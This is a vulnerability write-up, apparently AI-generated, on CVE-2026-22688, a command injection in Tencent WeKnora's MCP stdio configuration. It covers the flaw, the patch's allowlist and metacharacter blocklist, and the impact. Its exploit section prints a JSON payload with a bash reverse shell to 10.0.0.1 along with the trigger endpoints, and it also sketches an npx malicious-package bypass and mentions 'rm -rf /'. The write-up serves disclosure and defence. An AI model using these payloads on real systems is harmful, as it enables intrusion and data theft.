CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22688
9.90.34%

WeKnora Unchained: From Model Context to Remote Shell

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 21, 2026·6 min read·7 visits

PoC Available

Executive Summary (TL;DR)

WeKnora trusted user input for subprocess execution. Authenticated users could configure the 'stdio' transport to run `/bin/bash` instead of legitimate tools, leading to immediate RCE. Fixed in v0.2.5 via strict allowlisting.

A critical command injection vulnerability in Tencent's WeKnora framework allows low-privileged users to execute arbitrary system commands via the Model Context Protocol (MCP) configuration. By manipulating the 'stdio' transport settings, attackers can escape the application sandbox and gain full control over the host server.

The Hook: When "Agentic" Becomes "Apocalyptic"

We live in the golden age of "Agentic AI"—frameworks that don't just chat with you but actually do things. Tencent's WeKnora is one such beast, designed for document understanding and semantic retrieval. To do its job, it uses the Model Context Protocol (MCP), a standard that allows the LLM to interface with local tools and servers. Think of MCP as the hands of the AI.

But here is the problem: In early versions of WeKnora, the developers forgot to put handcuffs on those hands. The framework supports a stdio transport layer, which essentially tells the server: "Hey, spawn this process and talk to it via standard input/output."

For a security researcher, seeing a feature that spawns processes based on user configuration is like smelling blood in the water. It’s not just a feature; it’s a potential remote shell wrapped in a fancy API. And in CVE-2026-22688, that potential became a reality.

The Flaw: Trusting the User with `exec()`

The root cause is a classic failure of input sanitization meeting a dangerous sink. The vulnerability lies deep within internal/application/service/mcp_service.go and internal/mcp/client.go.

When a user creates an MCP Service, they define the configuration. Specifically, they can choose the transport_type. If they select stdio, the application expects a stdio_config object containing a command and a list of args.

In a secure world, this command would be an index pointing to a pre-defined, hardcoded list of safe binaries (like a specific python script or a grep tool). In WeKnora's world (prior to v0.2.5), it was a raw string passed directly to the operating system's process spawner.

The application effectively said: "You want to run ls? Sure. You want to run curl? Okay. You want to run /bin/bash and pipe the internet into my kernel? Right this way, sir."

Because the CreateMCPService and UpdateMCPService functions lacked any validation logic, they happily stored these malicious configurations in the database. The moment the "Test Connection" feature was triggered, the application hydrated that config and passed it to Go's os/exec equivalent via the mcp-go library.

The Code: From Free-For-All to Lockdown

Let's look at the transition. Before the patch, the code essentially took the JSON payload and mapped it 1:1 to an execution context. There were no guardrails.

The fix, introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb, is a textbook example of "Allowlisting vs. Blocklisting"—and they decided to use both.

The Patch Strategy:

  1. Strict Launcher Allowlist: You can no longer run bash, sh, or python directly. You are restricted to npx and uvx. These are package runners for Node and Python, which is still risky (more on that later), but better than raw shell access.
  2. Argument Sanitation: They implemented a regex-based blocklist in internal/utils/security.go to catch shell metacharacters.

Here is a conceptual look at the validation logic introduced:

// heavily simplified representation of the fix
func ValidateStdioConfig(cmd string, args []string) error {
    // 1. Check the Command
    allowedCmds := map[string]bool{"npx": true, "uvx": true}
    if !allowedCmds[cmd] {
        return errors.New("command not allowed")
    }
 
    // 2. Check the Arguments for Evil
    // Block list: command injection chars, path traversal, dangerous flags
    dangerousPatterns := []string{
        "-c", "--command", // shell execution
        ";", "|", "&",     // chaining
        "$(", "`",         // substitution
        ">", "<",          // redirection
        "../",             // traversal
    }
 
    for _, arg := range args {
        for _, pattern := range dangerousPatterns {
            if strings.Contains(arg, pattern) {
                return errors.New("illegal argument detected")
            }
        }
    }
    return nil
}

This code attempts to neuter the attack by ensuring that even if you run npx, you can't easily chain it into a reverse shell using standard shell flags.

The Exploit: Dropping the Shell

Exploiting this on a vulnerable instance (pre-0.2.5) is trivial and requires no advanced memory corruption techniques. It is a logic bug, pure and simple.

Prerequisites:

  • A user account on the WeKnora instance (Low Privilege is sufficient).
  • Network access to the API.

The Attack Chain:

  1. Target Selection: Identify the endpoint to create a new MCP service. Usually POST /api/v1/mcp-services.
  2. Payload Construction: We don't want to just run a command; we want a persistent connection. We'll use a standard reverse shell payload, but wrapped in JSON.
{
  "name": "System Update Service",
  "type": "stdio",
  "stdio_config": {
    "command": "/bin/bash",
    "args": [
      "-c",
      "bash -i >& /dev/tcp/10.0.0.1/1337 0>&1"
    ]
  }
}
  1. Trigger: Send the payload. The server saves it. Now, find the ID of your new service and hit the "Test" endpoint: POST /api/v1/mcp-services/{ID}/test.

  2. Execution: The server spins up bash, executes your reverse shell one-liner, and your netcat listener on 10.0.0.1 lights up with a root (or app-user) prompt.

> [!WARNING] > Because WeKnora is often deployed in containerized environments with high privileges to access documents, the compromised user often has significant read/write access to the internal network or sensitive document stores.

Re-Exploitation: Is the Fix Enough?

The patch restricts the command to npx or uvx. While this stops bash -c, it is not a silver bullet. npx (Node Package Execute) is designed to download and run code.

While the patch blocks arguments like -c or ;, an attacker might still be able to craft a malicious npm package. If the server has internet access, an attacker could publish a package legit-looking-tool that contains a postinstall script or a main entry point that executes a reverse shell.

Theoretical Bypass:

{
  "command": "npx",
  "args": ["-y", "@attacker/malicious-package"]
}

If the argument validator only looks for shell syntax (like | or &) and misses the fact that npx itself is an execution engine, the fix is merely a speed bump. This highlights the difficulty of securing "Agentic" protocols—if you allow the agent to run code, you are always one configuration error away from RCE.

Impact Assessment

Confidentiality: Total loss. The attacker can read all documents WeKnora has indexed, database credentials, and API keys stored in environment variables.

Integrity: Total loss. The attacker can modify the application code, inject backdoors into the frontend to capture other users' credentials, or delete data.

Availability: Total loss. rm -rf / is a valid command arguments list.

This vulnerability is rated Critical (9.9) because it requires low privileges, has no user interaction requirement (UI:N), and results in a scope change (S:C) where the attacker pivots from the web app to the underlying OS.

Official Patches

TencentCommit fixing the MCP command injection

Fix Analysis (1)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.34%
Top 43% most exploited

Affected Systems

Tencent WeKnora < 0.2.5

Affected Versions Detail

Product
Affected Versions
Fixed Version
WeKnora
Tencent
< 0.2.50.2.5
AttributeDetail
CWE IDCWE-77 (Command Injection)
CVSS Score9.9 (Critical)
Attack VectorNetwork (Authenticated)
Attack ComplexityLow
Privileges RequiredLow
ScopeChanged
EPSS Score0.00343

MITRE ATT&CK Mapping

T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1203Exploitation for Client Execution
Execution
CWE-77
Improper Neutralization of Special Elements used in a Command ('Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command.

Known Exploits & Detection

Internal AnalysisThe exploit involves creating an MCP service with 'command': '/bin/bash' and arguments directing a reverse shell.

Vulnerability Timeline

Vulnerability identified internally/reported
2025-12-19
Patch commit f7900a5e pushed to main branch
2025-12-22
Public disclosure via GHSA and CVE assignment
2026-01-10

References & Sources

  • [1]GHSA Advisory
  • [2]CWE-77: Command Injection

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.